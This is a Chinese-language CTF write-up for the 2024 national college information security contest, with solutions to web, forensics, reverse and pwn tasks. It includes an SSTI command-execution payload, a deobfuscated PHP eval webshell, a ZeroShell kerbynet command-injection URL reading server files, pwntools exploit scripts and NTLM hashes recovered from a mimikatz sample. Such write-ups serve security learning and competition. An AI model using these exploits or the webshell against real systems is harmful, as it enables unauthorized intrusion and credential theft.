2024年第十八届全国大学生信息安全竞赛(长城杯)WP
最终总榜 33
web
题这次只能说一言难尽吧
1 WEB
1.1 Safe_Proxy
不太明白那个 socket
的代理具体是做什么的,可能技术不够吧,最后另辟蹊径,通过判断 post
请求下,SSTI
的回显数据来判断有没有这个类
最后发现在 subclasses
类下的 133
位置可以到 popen
,绕过用字符串拼接就可以,但是好像不出网,就用覆盖 app.py
的方式看执行的内容
最后脚本
import requests
r = requests.post("http://47.93.188.77:32910/", data={
"code": """{{""['_''_class_''_']['_''_bases_''_'][0]['_''_subclasses_''_']()[133]['_''_init_''_']['_''_globals_''_']['pop''en']('cat /flag>app.py').read()}}"""
})
if 'ok' in r.text:
print(
requests.get('http://47.93.188.77:32910/').text
)
1.2 hello_web
进去有个 file
参数,这个一看就是任意文件读取,但是好像读取有限制,最后测试发现 ..././
可以成功读到上级目录
读取后发现 tips.php
是 phpinfo
页面,hackme.php
是一个混淆内容
下载到本地解混淆,修改成这样,直接看数据
<?php
highlight_file(__FILE__);
$lJbGIY = "eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME";
$OlWYMv = "zqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel";
$lapUCm = urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$YwzIst = $lapUCm{3} . $lapUCm{6} . $lapUCm{33} . $lapUCm{30};
$OxirhK = $lapUCm{33} . $lapUCm{10} . $lapUCm{24} . $lapUCm{10} . $lapUCm{24};
$YpAUWC = $OxirhK{0} . $lapUCm{18} . $lapUCm{3} . $OxirhK{0} . $OxirhK{1} . $lapUCm{24};
$rVkKjU = $lapUCm{7} . $lapUCm{13};
$YwzIst .= $lapUCm{22} . $lapUCm{36} . $lapUCm{29} . $lapUCm{26} . $lapUCm{30} . $lapUCm{32} . $lapUCm{35} . $lapUCm{26} . $lapUCm{30};
//eval($YwzIst("JHVXY2RhQT0iZVFPTGxDbVRZaFZKVW5SQW9iUFN2anJGeldaeWNIWGZkYXVrcUdnd05wdElCS2lEc3hNRXpxQlprT3V3VWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IU3RDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYR3ZFN0hNOCtPeD09IjtldmFsKCc/PicuJFl3eklzdCgkT3hpcmhLKCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVKjIpLCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVLCRyVmtLalUpLCRZcEFVV0MoJHVXY2RhQSwwLCRyVmtLalUpKSkpOw=="));
$uWcdaA="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxMEzqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrelmM9jWAfxqnT2UYjLKi9qw1DFYNIhgYRsDhUVBwEXGvE7HM8+Ox==";echo('?>'.$YwzIst($OxirhK($YpAUWC($uWcdaA,$rVkKjU*2),$YpAUWC($uWcdaA,$rVkKjU,$rVkKjU),$YpAUWC($uWcdaA,0,$rVkKjU))));
echo ($OxirhK($YpAUWC($uWcdaA,$rVkKjU*2),$YpAUWC($uWcdaA,$rVkKjU,$rVkKjU),$YpAUWC($uWcdaA,0,$rVkKjU)));
?> PD9waHAgQGV2YWwoJF9QT1NUWydjbWRfNjYuOTknXSk7ID8+Cg==
base64
解密后就是命令执行
<?php @eval($_POST['cmd_66.99']); ?>
这个绕过用 cmd[66.99
即可
但是在蚁剑连接后,有 ret=127
拒绝,才发现 phpinfo
中禁止了一些函数,没法执行,用蚁剑插件来绕过
最后用命令找到 flag
find / -name flag;
cat /run/log/78dc830da302d4c30d5f33be499c8992/flag;
2 威胁检测与网络流量分析
2.1 zeroshell_1
用工具 ctfNetA
一把梭,匹配到关键 base64
参数,直接解密就是 flag
2.2 zeroshell_2
本地部署后,用通杀洞直接 rce
即可
http://61.139.2.100/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A(cat%20/Database/flag)%0A%27
2.3 zeroshell_3
题目提示 受控机防火墙
,发现在 /Database
文件夹中存在 .nginx
文件,通过脚本下载
import requests
r = requests.get("http://61.139.2.100/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A(cat%20/Database/.nginx)%0A%27")
with open("nginx.pem", "wb") as f:
f.write(r.content)
下载后发现是 elf
文件,用 ida
进行分析
查看字符串发现一个 ip
地址,就是反连地址
flag{202.115.89.103}
2.4 zeroshell_4
上一题下载的 .nginx
文件就是
flag{.nginx}
2.5 zeroshell_5
在 ida
中 ip
的下方,有一个看着很像 key
的字符串
尝试提交发现正确
flag{11223344qweasdzxc}
2.6 WinFT_1
在定时任务中找到一个名为 flvupdate.exe
的程序,使用沙箱分析发现是木马程序,并对外做了连接,连接域名为 miscsecure.com
然后通过虚拟机中的火绒剑分析 flvupdate.exe
程序的网络行为,发现其会连接 192.168.116.130:443
地址,所以最终 flag
拼接即可
flag{miscsecure.com:192.168.116.130:443}
2.7 WinFT_2
在任务计划的 DriverUpdates
计划中存在计划描述
base64
解密后就是 flag
2.8 WinFT_5
在恶意流量包中,发现 client
字段的请求的响应内容存在压缩包特征,且有个对应的 server
请求,将两个请求进行拼接,可以得到一个完整的压缩包,但是存在密码
压缩包中存在注释,base64
解密后就是密码: 时间线关联非常重要
flag{a1b2c3d4e5f67890abcdef1234567890-2f4d90a1b7c8e2349d3f56e0a9b01b8a-CBC}
2.9 kiwi
看一下流量包,找响应码为 200
的流量,看一下响应内容有一串加密的字符串,掐头去尾
ida启动看一下,很明显是 mimikatz
在下面的 sub_140082974
里找到了加密逻辑
先置一个算法生成的随机数种子,调试可得到是固定的 0x69
然后用循环每位先异或 seed
,然后在加上随机数
最后这里是一个换表 base64
d+F3DwWj8tUckVGZb57S1XsLqfm0vnpeMEzQ2Bg/PTrohxluiJCRIYAyH6N4aKO9
cyberchef处理一下base64 最后写个解密解一下就好了
#include <stdio.h>
#include <stdlib.h>
int main()
{
srand(0x69);
unsigned char data[] = {0xb9,0x48,0x1c,0x58,0x81,0x4f,0x51,0x7d,0x27,0x70,0x33,0x6f,0x79,0x48,0x82,0x21,0x08,0x80,0x79,0x49,0x51,0x52,0x28,0x9b,0x7d,0xbb,0x40,0x67,0x45,0x7a,0x96,0x38,0x3e,0x7d,0x41,0x42,0x86,0x60,0x4f,0x6c,0x3b,0x87,0x2e,0x26,0x72,0x51,0x83,0x80,0x79,0xbd,0x79,0x40,0x67,0x71,0x4a,0xa2,0x98,0x76,0x3a,0x8f,0x68,0xda,0x7f,0x74,0x2a,0x33,0x55,0x8d,0x5e,0x2b,0x39,0x6d,0xbe,0x5f,0x74,0x74,0x7d,0x11,0x8e,0x4b,0x4d,0x99,0x64,0x79,0x63,0xb3,0x73,0xca,0x31,0x90,0xc3,0x77,0x1b,0x6f,0x61,0x52,0x11,0xbc,0xbd,0x86,0xb2,0x78,0x4f,0x7e,0x56,0x8f,0x6c,0x94,0xb4,0x3a,0x7f,0x14,0x4b,0x79,0xb6,0x8c,0xb0,0xad,0x8b,0x67,0x6d,0xd1,0x7a,0x9a,0xa7,0x31,0x74,0x25,0x3e,0x61,0x2e,0x82,0x3d,0x63,0x5e,0x77,0x6b,0x7c,0x3f,0x24,0x65,0x35,0x9f,0x53,0x84,0x92,0x42,0xa0,0x7d,0x66,0x70,0x3b,0xd3,0x65,0xa2,0x6d,0x7f,0x19,0x92,0x7a,0x8c,0xb8,0x6b,0x12,0x18,0x66,0x74,0xc0,0x48,0x64,0x9d,0x0e,0x6f,0x53,0x96,0x49,0x61,0x5d};
for (size_t i = 0; i < sizeof(data); i++) {
data[i] -= rand() % 128;
data[i] = data[i] ^ 0x69;
}
printf("%s\n", data);
}
/*
User=Administrator
NTLM=
User=DefaultAccount
NTLM=
User=Guest
NTLM=
User=Lihua
NTLM=23d1e086b85cc18587bbc8c33adefe07
User=WDAGUtilityAccount
NTLM=d3280b38985c05214dcc81b74dd98b4f
*/
最后到在线网站解一下
3 Reverse
3.1 dump
把全字符作为参数,传入程序中,将程序返回的数据作为键,全字符数据作为值,写出以下脚本
import base64
b="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_+-={}[]"
a=bytes.fromhex("1e1f202122232425262728292a2b2c2d2e2f303132333435363702030405060708090a0b0c0d0e0f101112131415161718191a1b001c1d00000000000000000000000000000000000000000138390000")
f=base64.b64decode(b"IykeJDgOFSA3DgUgAA43Eh0PJAEBOQ==")
e=""
for i in f:
e+=b[a.find(bytes([i]))]
print(e);
3.2 ezCsky
ida
无法分析程序,但通过程序中残留的符号可以知道程序进行了一次 rc4
和一次 xor
在程序 rodata
段可以发现字符串数据与密文数据,在附近可以发现疑似rc4key的字符串 "testkey"
对密文进行 rc4
解密得到
0a 0d 06 1c 1f 54 56 53 57 51 00 03 1d 14 58 56 03 19 1c 00 54 03 4b 14 58 07 02 49 4c 02 07 01 51 0c 08 00 01 00 03 00 4f 7d
看到解密之后的数据结尾为 0x7d
为 }
将字符串开头异或flag
: 0a 0d 06 1c
^flag
得到lag{
所以猜测xor加密就是将flag[i]^flag[i+1]
根据猜测写脚本
a=[10, 13, 6, 28, 31, 84, 86, 83, 87, 81, 0, 3, 29, 20, 88, 86, 3, 25, 28, 0, 84, 3, 75, 20, 88, 7, 2, 73, 76, 2, 7, 1, 81, 12, 8, 0, 1, 0, 3, 0, 79, 125]
for i in range(len(a)-2,-1,-1):
a[i]=a[i]^a[i+1]
"""
flag{d0f5b330-9a74-11ef-9afd-acde48001122}
"""
4 Pwn
4.1 anote
from pwn import *
backdoor=0x80489CE
#p=process("./note")
#pause()
p=remote("47.94.108.51","24633")
for i in range(9):
p.sendlineafter('>>','1')
p.sendlineafter(b'>>',b'2')
p.sendlineafter(b'index:',b'7')
p.readuntil('gift:')
d=int(p.readline(),16)
print(hex(d))
p.sendlineafter(b'>>',b'3')
p.sendlineafter(b'index:',b'7')
p.sendlineafter(b'len',b'40')
payload=p32(0x80489ce)+b'a'*0x10+b'abcd'+p32(d+8)
p.sendlineafter(b'content:',payload)
p.sendlineafter(b'>>',b'3')
p.sendlineafter(b'index:',b'8')
p.sendlineafter(b'len',b'3')
p.sendline('1')
p.interactive()
4.2 avm
code
内容如下
load r2,r1,0xd38
load r3,r1,0x320
add r3,r2,r3
load r4,r1,0x328
sub r4,r2,r4
load r5,r1,0x330
add r5,r4,r5
load r6,r1,0x338
add r6,r4,r6
load r7,r1,0x340
add r7,r4,r7
store r7,r1,0xd38
store r6,r1,0xd40
store r5,r1,0xd48
store r3,r1,0xd50
脚本如下
from pwn import *
signs=['add','sub','mul','div','xor','and','sal','sar','store','load']
def parsereg(arg):
return int(arg[1:])
def parsevalue(arg):
return int(arg,16)
def parsearg(arg1,arg2,arg3):
status=0
if (arg1[0]=='r'):
arg1_v=parsereg(arg1)
else:
arg1_v=parsevalue(arg1)
if (arg2[0]=='r'):
arg2_v=parsereg(arg2)
else:
arg2_v=parsevalue(arg2)
if arg3[0]!='r':
arg3_v=parsevalue(arg3)
else:
arg3_v=parsereg(arg3)
value=((arg1_v&0x1f))|((arg2_v&0x1f)<<5)
value=value|(arg3_v<<16)
return value&0xfffffff;
def compile(sign):
if (sign.strip()==''):
return b''
op_sign=sign.split(' ')[0]
arg=sign[sign.find(' ')+1:]
print(arg.count(','))
if arg.count(',')==2:
arg1,arg2,arg3=arg.split(',')
else:
arg1,arg2=arg.split(',')
arg3=None
opcodenum=((signs.index(op_sign)+1)<<28)|parsearg(arg1,arg2,arg3)
return p32(opcodenum)
d=open("code").read().splitlines()
payload=b''
for i in d:
payload+=compile(i)
payload=payload.ljust(0x200,b'\x00')
payload+=p64(0x26fe0)+p64(0x29d90)+p64(0x1d8678)+p64(0x2a3e5)+p64(0x29139)
#p=process("./pwn")
p=remote('39.105.123.22','22545')
#gdb.attach(p,'bp $rebase(0x1AFB)')
pause()
p.sendafter('opcode: ',payload)
p.interactive()